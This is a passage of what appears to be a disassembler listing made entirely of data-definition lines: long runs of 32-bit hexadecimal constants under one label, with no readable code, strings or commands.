		dd 0FE42B0A8h, 0D50768AFh, 0B699C6D6h, 0CEE26560h, 0E9D20EDCh
		dd 2C80F9E0h, 0BD1133DAh, 0B2DEB503h, 0C98D788Ch, 1ED06102h
		dd 12400075h, 0E7568645h, 98508CC2h, 0CB1284F1h, 26008821h
		dd 0F575222Ch, 0AED70035h, 0AB7E67FFh, 0C005EFDDh, 0D88280A0h
		dd 830373C0h, 52E500C7h, 774AA25Fh, 7001BB1Dh, 99FE5A8Eh
		dd 488013A9h, 0A44E84D5h, 6D07E946h, 665FAA41h,	8FBE90C0h
		dd 18E070C9h, 0A0D5C0F0h, 89008B92h, 631C1BA2h,	3E2458Dh
		dd 17BBF25Ah, 0A4E2F574h, 34C0FB40h, 0EE358518h, 306A6838h
		dd 4080FA39h, 6F03DDEDh, 0A4DBBCE5h, 817CB32Ah,	0BD30B028h
		dd 320F30C0h, 0B9431439h, 0CF3CF006h, 3C124088h, 0B6BDA1AFh
		dd 2DC3DFDh, 6A74CE80h,	0ED34AA5Bh, 24A9AB1Ch, 6F830500h
		dd 42A857h, 2A952EBBh, 43218EF5h, 0BAFE11C5h, 0AF030420h
		dd 0FF511250h, 79860365h, 7F980C36h, 0CB0058F3h, 0E63F2167h
		dd 76C8BA0Ah, 0A53500B6h, 0BF28CF61h, 1C0079F9h, 17A05492h
		dd 486321h, 6E745215h, 7B0A6573h, 69DF4600h, 7510D997h
		dd 4B9B00C6h, 33173876h, 0A50085D7h, 5DFFB246h,	1D1ED2B3h
		dd 7DEF70AEh, 0C7419C00h, 0C2F9C329h, 25431300h, 0DE94CB65h
		dd 0D1DA00F0h, 8C090B62h, 7609D0E0h, 80672BC8h,	54ACC3F2h
		dd 51E301EFh, 47463A69h, 0FE85E0B9h, 65001EFEh,	0B4FC72A9h
		dd 5123B1h, 0F790FFC3h,	7C52DD5Dh, 8FCA3803h, 0D8C6C8E3h
		dd 7F46E8h, 84182296h, 4F0D0A28h, 39873105h, 0FDC0DA1Dh
		dd 73C1BB40h, 32A80053h, 2C1EFD0Eh, 0F9E0E955h,	624F9E00h
		dd 7571FEAAh, 0D6DF1E7Eh, 0E6D8082h, 0FF4D84CFh, 0F2C3BA02h
		dd 0C0B7F629h, 7EFBFFh,	821E3139h, 15E2188h, 0BD07DF7Fh
		dd 1F4ACE10h, 0C71719C0h, 72A6E2A7h, 69361FF9h,	0B228C096h
		dd 1D7D481Eh, 0C30B630Bh, 7190044h, 3824E414h, 0E93F9C0Ah
		dd 0D27F3580h, 0F4BAA9A2h, 0A8155628h, 94590E00h, 186A2BD6h
		dd 0F898003Ch, 70BE40EAh, 0D100D0A3h, 521DDCC6h, 0EF8AE6h
		dd 7A516FBAh, 2E90DE5Ch, 4514367Eh, 0E8CAACAh, 0C089BAF5h
		dd 0B6CDDB41h, 188B075Ah, 0A0C58524h, 5C8E227Ah, 3C12A800h
		dd 0C251AA6h, 311800F9h, 66E75F14h, 6C00162Fh, 0FCE2F2E9h
		dd 50FDDCh, 6B0F5E61h, 53CB5D06h, 0A836240Fh, 0EE1C601Dh
		dd 78205A7Dh, 52780038h, 0BD9A1807h, 0BF281A76h, 3E07B8D6h
		dd 673520F1h, 341D0E20h, 0E8730E26h, 592075F0h,	9B5EFBDEh
		dd 6579B82Ch, 2C3E0900h, 0E01F96h, 0BF1470FFh, 4213F407h
		dd 0F7F8DCE0h, 610704B8h, 3C6C283Eh, 30691870h,	0C838005Ch
		dd 73E69565h, 0FA7E1098h, 419D681Dh, 0FE5575C0h, 2FC55Dh
		dd 63A3FB2Bh, 0ABFD52ADh, 49260C92h, 0E8006130h, 6D86C52Bh
		dd 7AB3009Eh, 68364312h, 0F000FFB0h, 0DB1D47B4h, 4A06E6h
		dd 0CF5DD1A4h, 413EDEFDh, 0AC497503h, 0F8239A61h, 88922Fh
		dd 6F274EDCh, 84F7C820h, 33E239h, 7EE38223h, 8A9B53h, 0B1A8F991h
		dd 3CF49226h, 3B783A3Ah, 0A9B3805Dh, 0D4F56983h, 0D5B50012h
		dd 0C850C1BEh, 153C7AADh, 5D56806Eh, 0ECF2DB59h, 51F131B1h
		dd 0C8D4B610h, 0E2001090h, 35A77319h, 0A1F895h,	6796858Bh
		dd 0E6757FD2h, 0BB8A9D00h, 0A897D613h, 65E000CDh, 9F4882D7h
		dd 0F90E0E62h, 6010098Eh, 41F0ABA1h, 0E4F1009Ah, 0BB9A31Dh
		dd 0F9007066h, 15AAB186h, 3D36C1Ah, 77D01772h, 8094D620h
		dd 0DE7A2F50h, 5C56840Bh, 7B0505AEh, 8EF4C800h,	7791D280h
		dd 0C41300A8h, 0A5D5D13Ch, 48005CB8h, 0F67C0FCBh, 8283C6h
		dd 0C99415ACh, 0B2A51E91h, 0CE3C3F00h, 7F379088h, 156B4C7Eh
		dd 0F65BCD0Fh, 63E3A00h, 0CB00D954h, 0F1EF161h,	0AC8AE3h
		dd 39550A80h, 2F97F9FFh, 95166D02h, 402ADB0Dh, 7BF8BE1Bh
		dd 0A38B0078h, 0E75C88Dh, 0FA0EB3A4h, 40CC2A16h, 0B16C45E1h
		dd 0B67AEAh, 82200225h,	8738562h, 48FC777Ah, 0F9DCE80Fh
		dd 9E95A099h, 4934FCh, 0D8058D79h, 87200985h, 3988C901h
		dd 0A6D9AA8Ah, 0F8D5D7ECh, 6030E2CBh, 0DBF89846h, 997BFBF6h
		dd 0D3AACBA0h, 20EB2C00h, 74DAA8AFh, 18D700DEh,	0FD3D305Fh
		dd 4400D18Fh, 847F0CE2h, 769C04h, 8EFC5868h, 7CDF98C9h
		dd 0CB499407h, 83B0FEF5h, 0B43413h, 0A35A2007h,	7617E6A5h
		dd 0E3009070h, 0C1B0E48Bh, 63D5BDh, 489E87A4h, 8053CCC4h
		dd 7D0584FCh, 0D4645BD7h, 9CFE0C0h, 524A07DDh, 0A054A0AFh
		dd 6E6CE0B3h, 81D32700h, 0CDCEDF06h, 93FE1Ch, 0FDB0C5ECh
		dd 6A65C70Dh, 73E8820Fh, 2DA52029h, 0F343EEh, 0DBB79FA3h
		dd 0CB5A8698h, 0D6628800h, 0F6F4F848h, 72C30FFFh, 0C2202899h
		dd 87501F09h, 0BAF0E100h, 6FE75DD2h, 454F1DCFh,	5CDDB8h
		dd 4A77E489h, 1C00A2E2h, 2182393Dh, 72BA173Bh, 306F0CFh
		dd 36F43399h, 7080EE4Fh, 90091F1h, 496C15BCh, 33C4AC48h
		dd 176EE860h, 0C29C1400h, 0EE27DAD1h, 7B3605E3h, 8C7390EFh
		dd 770023A0h, 0BBD2A88Eh, 43B68E4h, 57B493EAh, 0DD9B8290h
		dd 0E2E868E3h, 0DC1378BAh, 1FBFCF80h, 0B83A4007h, 276FAEE7h
		dd 5494D200h, 3043E663h, 0A03F240Eh, 3EFE0114h,	0D059AE77h
		dd 0FA008CF5h, 76B5E555h, 0C0371F2Ah, 7FCD539Ch, 80001D40h
		dd 5B650675h, 0EB1AD2h,	87348992h, 2A71B4E5h, 0DBA41600h
		dd 0B7B0DC8Bh, 0DE9F01FDh, 6C43CA83h, 0E37074D5h, 0BE2FED00h
		dd 7B1A524Dh, 0D4AB5815h, 3D80BA00h, 2047E35Eh,	521010C0h
		dd 31FA54Fh
		dd 4CB33EB4h, 0B8D0D838h, 450470E9h, 49687F3h, 0B97EAE81h
		dd 404A619Eh, 92A81B16h, 0A000579h, 0DF4BA48Fh,	0BF6D58h
		dd 575B0463h, 0B7899727h, 0FF42D800h, 592C1FD0h, 347100DAh
		dd 17C7AC70h, 0CB1E2A35h, 53005B02h, 50C201F2h,	0CFC500D3h
		dd 4D0D5C58h, 0DA905515h, 0F2F7791Ch, 2EA7868Bh, 42544010h
		dd 52A6ECh, 3DE4336Ah, 0A41F7E36h, 1FC3E5Dh, 24ACA9C1h
		dd 0F9F0C742h, 277900D8h, 6C6D0B9Ch, 0EB007378h, 1940728Ah
		dd 7FD6BC5Fh, 55F80006h, 78489B46h, 0C03D22F6h,	7224857h
		dd 1ED664E2h, 0F9A42CC0h, 0A30D0163h, 60547A88h, 301CD09Fh
		dd 93001D73h, 688BBDE4h, 539FDE7h, 0C2EF89BCh, 6C16801Bh
		dd 7207D91Eh, 2488E471h, 8E5B6210h, 7B0C008Ch, 75897C21h
		dd 780032D9h, 0BBB4FD42h, 0A4A5Dh, 8CB7F4B9h, 725F62BFh
		dd 0A7962513h, 0E60B9C00h, 5883B13Ch, 821D8941h, 0E01641F2h
		dd 0FE049998h, 25006BF0h, 910537CFh, 0E7FCC1h, 0DD98C431h
		dd 40E7395h, 74718A00h,	9046D2C8h, 24FBF602h, 5684836h
		dd 0C06FE4EDh, 43B6F67Dh, 0A4F83A00h, 0DDFE68Bh, 67E907CEh
		dd 847D194Eh, 44348049h, 3F501627h, 0B00E75C8h,	3B580Fh
		dd 0F2ED609Eh, 0C318C2B7h, 0ECA0A830h, 90B10205h, 0A1E30E01h
		dd 2D36C1BCh, 0FE94F0F7h, 60C50223h, 0F644D910h, 3E586640h
		dd 5E92731Eh, 6B755C83h, 603A0CB2h, 0EC602BA5h,	0DCEF4Dh
		dd 0EAC115FEh, 788E1E65h, 0F309893h, 0A05FA703h, 0D38456C3h
		dd 0C4D7A9C1h, 0D101C302h, 0D05BBC53h, 0CCEDE04Eh, 7EE4C9EDh
		dd 0C1DC001Bh, 719441Fh, 51000450h, 0A32A3B61h,	0C2F933h
		dd 2C17D1ADh, 0E8053CDEh, 0D093A900h, 6563FAECh, 0B19E0071h
		dd 0CC194682h, 5B0C987Ch, 0A84BF670h, 0E1D70061h, 0DA9444BEh
		dd 8F01D5B1h, 0C3B912C8h, 702437AAh, 0F1EA2638h, 0F5003C07h
		dd 0E64BF3D7h, 7E63C698h, 0B276F0h, 3DDBAAF9h, 18AE35BDh
		dd 9A43C8A8h, 5E30E507h, 0CB378E29h, 0CEE3D90h,	0C9C31EFDh
		dd 9AC80258h, 0A48076D5h, 0A869E424h, 3F7AF00h,	7D28545Fh
		dd 6EB0063h, 0CECC2687h, 3039BA81h, 9C2E8118h, 48AE5F93h
		dd 0D89BD4h, 0CD0EF45Ah, 0B78058A7h, 0E4757E00h, 0B82D4A9h
		dd 4FBA00DBh, 71FC22C0h, 4A1ED883h, 0A4C08EDAh,	0B354A34Dh
		dd 59080B36h, 0D800E968h, 0AD665262h, 1F00EFF0h, 82319772h
		dd 89F3B8h, 0BDCC1D7Eh,	0C985DD46h, 0D26E9B0Fh,	1ACD212Dh
		dd 62F050A6h, 345C0003h, 0F73AB1D9h, 260FBC1h, 78479E58h
		dd 0E0330008h, 9D7BD9C6h, 693049E4h, 57FE4964h,	85A440A0h
		dd 94750C00h, 327FBB82h, 0A904C0D9h, 553EBEC8h,	0BDB0B900h
		dd 604F511Bh, 5FA01FFAh, 802F1F24h, 2E6225B8h, 0BD00742Dh
		dd 0AFD8560Fh, 3FE3EA48h, 0E007B3C0h, 0B02179BFh, 83349DCh
		dd 307C9B00h, 6791D96Dh, 42DE38D2h, 6105980h, 41FEEEF5h
		dd 0F1300AFEh, 0C2581846h, 80AA00A3h, 0A665550Eh, 0CB150210h
		dd 849793h, 0F1BE21F5h,	0F3DD138h, 0CD2D4C96h, 51AF4EC0h
		dd 0A93BB5A0h, 6C38014h, 0B9231F80h, 0B13077Fh,	0E0AC9C2Dh
		dd 5694B3E6h, 0F12E5A00h, 1D2C497Bh, 0CB6101F9h, 3B4223B4h
		dd 0C5670A8h, 0AD858E01h, 29F50D7h, 14D67E4h, 0E82DFECh
		dd 811BA4F3h, 0F06AB438h, 0CEEC276Dh, 0D3E90393h, 0BC0F49D8h
		dd 2BA6A388h, 78C24307h, 8CD0DCABh, 619838h, 3C5CE958h
		dd 0A977DEF3h, 0FBCC171Eh, 751E1AC4h, 824F5E80h, 0AD3100F0h
		dd 0B204D9CDh, 8FE1D763h, 7103B1h, 0A54AC890h, 106D00C1h
		dd 99A24B0h, 6100153Ah,	4C72648h, 1E8F0286h, 0C1177B96h
		dd 0CCE32264h, 0B3A6C003h, 9716C100h, 0D1DEEDC4h, 155900E8h
		dd 8758656Ah, 370061FDh, 457BAA2Dh, 0A0A18Ch, 7F38DA0Fh
		dd 4BE33442h, 98000A79h, 0B4067AA7h, 5207195h, 0E1947C31h
		dd 0EFC743h, 95AA487h, 105DCB30h, 74A09Bh, 0E4FF51D7h
		dd 0DB40E518h, 4559D600h, 0FB25D0CEh, 0F4E065h,	0C2D52002h
		dd 810C323Dh, 67CF7F00h, 75DD2A88h, 0F2D700BBh,	189D15C6h
		dd 0F81D8019h, 0CF40A0D5h, 912A0672h, 677900AFh, 0B4438EFBh
		dd 0CA07E41Ah, 809A02B5h, 59937111h, 0BCC3F4h, 0E4120D14h
		dd 1BFAFB7Dh, 865285ECh, 405FC220h, 0D4FB197Dh,	143CC952h
		dd 65ECFCB7h, 81A1A400h, 0D5D4D751h, 0E72B1D73h, 4B304683h
		dd 6D074813h, 787145EDh, 3FFBEE2Ch, 67BB0B75h, 0B548E003h
		dd 0C9D0DC6Eh, 0FFFA5065h, 0A2543D00h, 7EB20137h, 4147008Fh
		dd 535F677Bh, 0F5027A0h, 701EFBA8h, 448054F1h, 4E7BAF81h
		dd 677E07B0h, 2080C949h, 0B80AA921h, 0FDA46954h, 78C03F7Eh
		dd 0E0C94DB1h, 0B3A8A3F0h, 8029FAFAh, 9EC5F68Ch, 6DC60535h
		dd 1C1A4266h, 0CA510080h, 0D4E4649h, 3CF17701h,	9F918226h
		dd 308FA0Ch, 0D885FB50h, 730018E6h, 65B579E5h, 770F744Bh
		dd 11250A77h, 0AC4201h,	0E67C3EF8h, 4CEED10Ah, 0EFF5E501h
		dd 0CA2AF428h, 3CEB27F4h, 7205668Fh, 0AEF02Fh, 8726B4A0h
		dd 0FD00E3D5h, 4A3262BEh, 2803FFFAh, 580DAC8h, 168B6368h
		dd 0C02038D2h, 0FC422E79h, 97055200h, 2921ABEDh, 4C38E50Ah
		dd 10AD002h, 7E00A46Ah,	618CC13Eh, 0F3A7A0FFh, 0B881397h
		dd 0E028107Bh, 0AAED6701h, 0E00CD948h, 9D004218h, 812B1591h
		dd 1126EE1h, 0CFB7CA78h, 0D04D413Fh, 0D80331B0h, 6AF34415h
		dd 0E248E898h, 77BA0046h, 51FA6E04h, 0C0008F13h, 4B9A74A8h
		dd 38B3B54Dh, 0F0D0E7F8h, 0F44E5492h, 803E176Bh, 0E720053h
		dd 0AD8D8139h, 9C6E4F7Ch, 8B97C026h, 0A90A75h, 961A8804h
		dd 79B4954Dh, 63DDAA04h, 40806564h, 4907FBh, 0CCF4BF4Fh
		dd 0F7CD307Ah, 45F9AD1Dh, 10542242h, 0A95440F6h, 0E9330002h
		dd 817D2A99h, 527493ECh, 14589E00h, 0E449AFBDh,	3C9103D7h
		dd 0A3940266h, 2003E787h, 658E7CFEh, 0A93A9C00h, 8B52BE1Dh
		dd 0D013149Dh, 7206B8F8h, 0E07D41C3h, 5D2F7702h, 6330A45Bh
		dd 0F200E13h, 912038F3h, 0C348AC58h, 6AE4807Ah,	82DE3900h
		dd 0C7496B28h, 479B0312h, 0CF9B672h, 294A7DB8h,	0DD001EEAh
		dd 92CCB05Bh, 0F2EF19Ah, 931DF2F3h, 5CA2AD80h, 9C00FD96h
		dd 1F12EE97h, 60F862h, 0FB17C78Bh, 0DAF5B6B5h, 0DB0FBB0Eh
		dd 0D7CBE112h, 3180EB3Fh, 0D6EF74Eh, 8A07A49Bh,	0F5B8B482h
		dd 0F290ECC7h, 0C08CF01Eh, 46025028h, 670C5378h, 114E1BD1h
		dd 0B2890060h, 704C4799h, 91011C61h, 0FE6DC28Ah, 9CFD55A5h
		dd 0A992048h, 6E8AE99Dh, 0D5224018h, 14ABDD3Dh,	4F7A5821h
		dd 0A517BDC0h, 60DD4295h, 30303934h, 8C404429h,	58BA6201h
		dd 375EF59Fh, 44CBBD2h,	367ED270h, 0ED423113h, 3492DAFCh
		dd 28084184h, 7B231938h, 0B6A20A4Ah, 0F89AE068h, 0B5804EE4h
		dd 82A103C3h, 359F3E15h, 4607BD2h, 9CAD19F9h, 6DA8D904h
		dd 0CAE24158h, 32DA370Ah, 0D2E238C1h, 0F5C238F9h, 0AB9F3D3Bh
		dd 7988308Ch, 0DE22E083h, 18AE8AB0h, 74B9C801h,	0A5835FBEh
		dd 0A26463EAh, 4144B135h, 21998CF8h, 62801336h,	12DA3B1Eh
		dd 2A5478F7h, 14E87C55h, 0B4DBED28h, 0A40570B6h, 7161AAE1h
		dd 54422407h, 0D532DBB0h, 5072E874h, 3215F4BBh,	8610B07Dh
		dd 900A5C9Bh, 8CE53454h, 5756A2C1h, 63110C20h, 0EC6C80B3h
		dd 87CFD2A1h, 0EE17D550h, 2B5E6B71h, 0A0983C23h, 8544CBC4h
		dd 1404901Ah, 0B84AD882h, 0E4F288E6h, 0C04C7120h, 0FB2E231h
		dd 536E759Eh, 0E4F4E080h
dword_534058	dd 0C2E9F2DCh, 0B53D3208h, 8A526441h, 0E8F37508h, 39F29504h
		dd 705E2485h, 8D325801h, 0A45FC12Ah, 67C27961h,	0AB0701F3h
		dd 85BAF89Eh, 49615A1h,	87EE52ACh, 1F25C584h, 1C7502D4h
		dd 0F89C4A8Dh, 725D3C14h, 2822876Ch, 60171858h,	0E9054292h
		dd 0EEE3D2DCh, 1E3FD409h, 5CB0C5CCh, 0E4AC77B5h, 0F2148193h
		dd 129894F4h, 0B604A044h, 174E43E8h, 7A041762h,	70CFD7D2h
		dd 0A9247061h, 4260486Dh, 0F504B7FAh, 0DD3E68D2h, 560088DBh
		dd 0E5834A0Ah, 0C209A582h, 169EF523h, 0B45B2E18h, 288918DFh
		dd 0B9525922h, 0D1718030h, 90BF852Fh, 0E07AF554h, 57127215h
		dd 942CF4FCh, 3E4300AAh, 0A018FA2Bh, 3602E462h,	0E880D2DDh
		dd 8218B8D7h, 0CD8D00AFh, 42A019B4h, 0F424FB86h, 0A85058B2h
		dd 56F1025Ch, 0A2A01A60h, 30298256h, 0BC363360h, 7034E5F8h
		dd 0AA28CA71h, 59E1C03Ch, 8E505337h, 5800E280h,	0A34BD285h
		dd 918A8BCBh, 34C540DCh, 0BD4DDF7Ah, 0B11B0064h, 0CBB0B2D0h
		dd 918A129Eh, 608B055Ah, 0C4602912h, 0AD33669Eh, 0B022E8A9h
		dd 0EF2D0B6h, 8BD27920h, 1AA811CAh, 0CC084069h,	0CED36320h
		dd 0BD28C1F9h, 15E30AB0h, 80E034CFh, 507677E9h,	33629453h
		dd 0D6A0D489h, 18CAA82Bh, 1E58BE01h, 58808B2Ch,	0CF160642h
		dd 2274D072h, 0CBF31214h, 0EABCE0A0h, 0B0FB33B3h, 38EEA2D0h
		dd 4DF75212h, 1BC30C38h, 694E0A62h, 96096592h, 4C7D051Ch
		dd 0C20B4E3Fh, 8494E208h, 8C77BC06h, 18200EEDh,	4810C9C2h
		dd 32E92920h, 7D85C0B8h, 928AA2BAh, 8491074h, 28C8B0CFh
		dd 4030FC4Dh, 0A52DFCBh, 0C3958150h, 424D516h, 5DAD1562h
		dd 52C728D0h, 62AB3CBh,	9742A800h, 0C92D063h, 5032E8B9h
		dd 6E52B01Fh, 939D1014h, 0FB400A4Fh, 8F3C23A0h,	0E1C86B01h
		dd 6D8A288h, 0F8176012h, 1453272Ch, 44C870Fh, 4885CAF2h
		dd 8D8102Ch, 591823F8h,	279A8202h, 82A44588h, 0D844FEBh
		dd 9AE29CA1h, 9B542087h, 8F501052h, 0F748422Bh,	0B53C6885h
		dd 92CF04F6h, 0CBABD674h, 0CC2D0174h, 14E068DDh, 7158820h
		dd 4992D84Bh, 0C7B24144h, 0FB12E043h, 1D9843Ah,	0F2F56215h
		dd 9841AE8Bh, 6C3045BEh, 6C904817h, 3B2EB6E0h, 0A9538A1Ch
		dd 771501FDh, 0B85B75A0h, 7EBB9441h, 0AFC9DC61h, 0B0E93060h
		dd 0BD750AB4h, 2CF09E1Dh, 7FB50C28h, 7586D69h, 9C53183Ch
		dd 7864DF30h, 207B6296h, 0D0C00975h, 9F58D72Bh,	0A6C1F28h
		dd 0DEC61500h, 50576A8Bh, 72A0FCC9h, 0BC552E09h, 87D20DE8h
		dd 8AE8F0D0h, 0AC854098h, 0AA024313h, 0C0A3DC52h, 0C8CC120h
		dd 0F1EA92D9h, 69603D08h, 0DCD5CEB8h, 9B40052h,	0EFB5559Eh
		dd 5160AA8Dh, 40EC1278h, 0C4F252DAh, 21B00980h,	60C59F66h
		dd 480EA42h, 1C4B6112h,	428BB2DDh, 0BBF652D9h, 0C08E9C83h
		dd 14A0820h, 0A1591175h, 20C40195h, 33049D70h, 5E5DEBD1h
		dd 0C2438C82h, 9909614h, 97CB2B3h, 11A23020h, 7213F56Dh
		dd 9FF9987h, 488Ch, 92DA4B38h, 88C685Ch, 23E5FE32h, 32471E28h
		dd 486088CAh, 0F2620C82h, 0E1F81B48h, 60840264h, 0C728DAD2h
		dd 202EF6D0h, 0FE7FB3Dh, 1F2D4C32h, 0B0F0333Ch,	9280173Ch
		dd 0D51C0223h, 0B8835178h, 183047CBh, 7D22045h,	0B5A13AD7h
		dd 2EA8CEB0h, 56F8D985h, 0BFB45151h, 6A8681C9h,	50AB92F5h
		dd 0A0A552F0h, 503B32B4h, 5C36A4BCh, 57BD4C3h, 79359ED2h
		dd 12B40865h, 0D1E5183Eh, 7CA2F718h, 0C83731A0h, 0D3C6B120h
		dd 9E0D60E7h, 0A83AD8F5h, 0A73812A0h, 839340Ch,	30526E15h
		dd 8C43F86h, 88A6BE24h,	8530EE3Dh, 8CC17CFAh, 70207D29h
		dd 28696241h, 0B8820A43h, 0ECE06411h, 90CF63E6h, 7C0532F1h
		dd 0B00CFCC9h, 6395508Bh, 0AB287118h, 38EB1024h, 0B839B206h
		dd 84F63E8h, 8919CEF5h,	0A08C2E0h, 32B55470h, 0E7D85A06h
		dd 8B24A450h, 1B09680Fh, 0A398033Bh, 2708013Eh,	0FFDB95BFh
		dd 0D37BD074h, 18E9D3Ch, 1BD944A2h, 5BE0B0E1h, 182778C9h
		dd 182B503Bh, 0BBF06275h, 0C003448h, 100CE5DBh,	0C20F065Ah
		dd 8575914h, 50C6A5E0h,	20283D33h, 37321170h, 371101Ch
		dd 9388A07Bh, 5E3AA41Bh, 9B0F00D6h, 5DC69E4Dh, 67C4007Ch
		dd 4AAC93B0h, 1B0E9416h, 20DB614Fh, 9B95E3A5h, 18287813h
		dd 182D085Bh, 1BFE2558h, 93E90E02h, 2E02BBh, 9B941298h
		dd 0D62D640Dh, 0C9E0395Bh, 70CD812Ah, 73A1B4Fh,	2F3B00D3h
		dd 2FB95DDh, 0BB940E45h, 5B833F8Dh, 3BC038F3h, 0D90E0FF2h
		dd 4396959Bh, 37367DBBh, 0C310F018h, 1BF0E66Fh,	0F0F1B538h
		dd 0F0CB0EF8h, 863E0EEAh, 3D0464Ah, 5B95AF62h, 810AC26h
		dd 9231ABDBh, 783FB78h,	9C1F0645h, 9B086E18h, 2880611Eh
		dd 0F3DAF33Bh, 31DB24C9h, 0D0D8F932h, 0B0CC42BEh, 507BC873h
		dd 0FDFB98ABh, 22DB088Fh, 50BC3790h, 8E4955C0h,	0DA87307Bh
		dd 0D8F693C0h, 0F7261B18h, 90508350h, 0C674EA00h, 58700E78h
		dd 8A144A1Eh, 3868D00Ch, 8B8C3D26h, 0A8153019h,	2BEC5C98h
		dd 0DC75700h, 4C93B2E8h, 40F18358h, 30E88439h, 88B8EB1h
		dd 3A6B1600h, 8A454B5Fh, 0CABB6C01h, 75553BDAh,	122E8889h
		dd 57B03C02h, 0FACC3041h, 2C5C2090h, 162FB603h,	0A40C8A40h
		dd 347038C4h, 31E9D277h, 2CA0E71Eh, 0BB6881C7h,	0FBDB50DEh
		dd 700901EBh, 905BDFC8h, 0E39BD08Dh, 0FC8CB150h, 4BD00F64h
		dd 2DC43C87h, 38145885h, 0A27B0748h, 5EC5DAEDh,	8212D81Fh
		dd 2D5A3C46h, 6C923010h, 0D6282B50h, 48906DF2h,	0DC8EFB12h
		dd 0E82E340Ah, 2403789h, 8FC3BA20h, 5B0CF0ECh, 5520A7FEh
		dd 9A18A464h, 0E6635C91h, 0E5ED208Ch, 4890A218h, 346C3B24h
		dd 28CC203Ah, 49C431DBh, 3474481Bh, 0C508AE6Bh,	10840D13h
		dd 2472D178h, 8490C144h, 8519DB1Bh, 3D087C29h, 7B8959D6h
		dd 7803926Fh, 82D7352Eh, 0B0406957h, 0F1E97E09h, 0F018FBB9h
		dd 1E18C754h, 0FBD81B9Ch, 28E2081Fh, 52D1B02h, 0D6FA0FDBh
		dd 0A3C0D85h, 3E98F2DCh, 10310619h, 82E84787h, 9882D11Ah
		dd 0C040E427h, 0A0CAD90Ah, 773AA4F4h, 50938640h, 502B886Fh
		dd 9A448462h, 91A8318Ch, 2006B318h, 9B3C5EDCh, 94CC268Eh
		dd 0E020FE9Fh, 2E80A107h, 203B8AD0h, 8C2466DFh,	0F30CD809h
		dd 607310A2h, 192B3042h, 4648F4C2h, 18D41858h, 3A35B410h
		dd 36308903h, 0C4849D09h, 12613B14h, 0B12A19B4h, 0C2D45278h
		dd 0EFA81D34h, 0F4100189h, 87D7B486h, 0E4FCDB30h, 0F7EC7B40h
		dd 630DFC89h, 0A8A618BAh, 0A47AFBE1h, 21187008h, 12A3F848h
		dd 70E5BBDFh, 8BF64A98h, 48157D20h, 0B1A794CCh,	2406341Ah
		dd 3C24ECA8h, 0D41C6065h, 0D144DA1Dh, 0B08BC4D2h, 0CDF99906h
		dd 8C125989h, 0A800625Ch, 9B93D9DCh, 0C4E5051Ah, 1429B6BBh
		dd 5AA0E490h, 0E324A2CFh, 0AC04D08Fh, 0B483647Bh, 3B7000D3h
		dd 3486E95Eh, 0F4E8ED20h, 8C1BF34h, 0EAA94461h,	0B3BFD1E3h
		dd 32DD4431h, 0CA8F488Ch, 709838C0h, 13DF1B13h,	20A3900Ah
		dd 6E25EC60h, 6C44402Ch, 3B888D61h, 14482BAFh, 0B14E095Dh
		dd 5C8151BAh, 30EB6A0Ch, 0BF5021D8h, 98F3BCh, 0D8B39B12h
		dd 1D0D009h, 0C0673B50h, 0C309808Ch, 9B817410h,	24989816h
		dd 0A3742EF0h, 6E48EFF0h, 1DD71890h, 98DA13B0h,	0D0D35838h
		dd 5AE8247Ch, 0C9B30948h, 87517004h, 8B408E18h,	38F97486h
		dd 1328D0B0h, 83FCBC20h, 5326C498h, 570C871h, 0B79C2A80h
		dd 482C7780h
		dd 8B26E073h, 0D4193AC0h, 20145113h, 0A33E56A0h, 9430248Eh
		dd 0EC812823h, 5064D06Fh, 0D4CC9440h, 14BC98F2h, 0E089FC73h
		dd 0EA0283B0h, 0EC803CE8h, 6892FB0Eh, 0E21871CBh, 4297DC5Ah
		dd 0CA8C28C6h, 48EEE420h, 24311876h, 0E24DEAF1h, 0F4871CC5h
		dd 0B272A71Fh, 4F3840AFh, 0FC34B025h, 0C02C918Bh, 26FDDC88h
		dd 9AC73C44h, 5E1115D0h, 8BC17CD9h, 80833329h, 9FFE6CA1h
		dd 52475BD8h, 0CA3E145Fh, 32E2B008h, 0A0050C05h, 906FF80Ah
		dd 0E0309404h, 6182F092h, 4C315D14h, 98EA4DE0h,	1F0A510h
		dd 0B6366C75h, 0A9E05139h, 135C605Eh, 0BB184490h, 33B8C2D0h
		dd 5C409818h, 9A7C08DBh, 3ED3E880h, 9E198A06h, 45922058h
		dd 13BC85F8h, 430C123Ch, 8E7483A4h, 10A6BCC3h, 13B8E44Ch
		dd 9046CC1Bh, 31687016h, 0A9786682h, 9C208C73h,	3E881894h
		dd 11198A0Ch, 34B9D89Eh, 0A8985DB4h, 606682F0h,	3008F748h
		dd 3B90FAFBh, 8C46379h,	9C81BE83h, 0B88CB608h, 0B008B57Ch
		dd 18502748h, 8082A92h,	0CA48CC61h, 59611B18h, 2BC93BE8h
		dd 0AE6896h, 0C6F82300h, 0FFFC0396h, 0FA3C63E8h, 5F037CD0h
		dd 0D6A33340h, 7821E7E3h, 0FE403442h, 3A9E2C63h, 0BE0126FFh
		dd 5E2997E2h, 1E2BF072h, 3379C000h, 96A810E3h, 666C31A3h
		dd 0D0296730h, 9A636E3Eh, 18E4D270h, 68ECF258h,	63E8788Eh
		dd 86386B6Eh, 3E20998Bh, 3000E0Dh, 433527D3h, 83F8DB6Ah
		dd 3454721Eh, 2C593001h, 18A04B1Eh, 0A83F6392h,	23A010D5h
		dd 43F8DC35h, 20A97030h, 0F033721Bh, 2C5A0088h,	421A4AFEh
		dd 6C6313E3h, 0E1657AA0h, 88879B7Eh, 41F60723h,	8CB015C3h
		dd 8AF7BB8h, 6310C2BFh,	3A01F82Dh, 0A040341Eh, 1C839D01h
		dd 7ED3595h, 50BB245Dh,	0C6334E28h, 5CFB2AECh, 0A085614h
		dd 51ABAD3h, 872B2F66h,	200215A2h, 85EEF914h, 10211D20h
		dd 0E029A606h, 2086B96Bh, 0A630104Eh, 208378F8h, 118A549h
		dd 3C43BAA5h, 9F460027h, 28C3FA0Ch, 0F84AB56h, 0A331AA0Dh
		dd 48344EC6h, 0EFBC2750h, 0B3F83D78h, 64B83C50h, 0F5841350h
		dd 79E088A3h, 8312427Eh, 81EB3C5h, 233FB4C1h, 0C3F04C12h
		dd 9F1005B5h, 20D352E3h, 0CFB30D48h, 14BDA020h,	0E4A77AE6h
		dd 835C1D29h, 12FE54CBh, 0F7862918h, 740E7DB1h,	6AA22435h
		dd 42580C1Ch, 14904990h, 90DD0330h, 10EEFBE3h, 14C57E29h
		dd 0C7443FA3h, 1525DEF2h, 8A26CC43h, 223824AAh,	4D018900h
		dd 58044400h, 0D550DE2Ch, 0F6200388h, 5BD13E1Eh, 92C75E00h
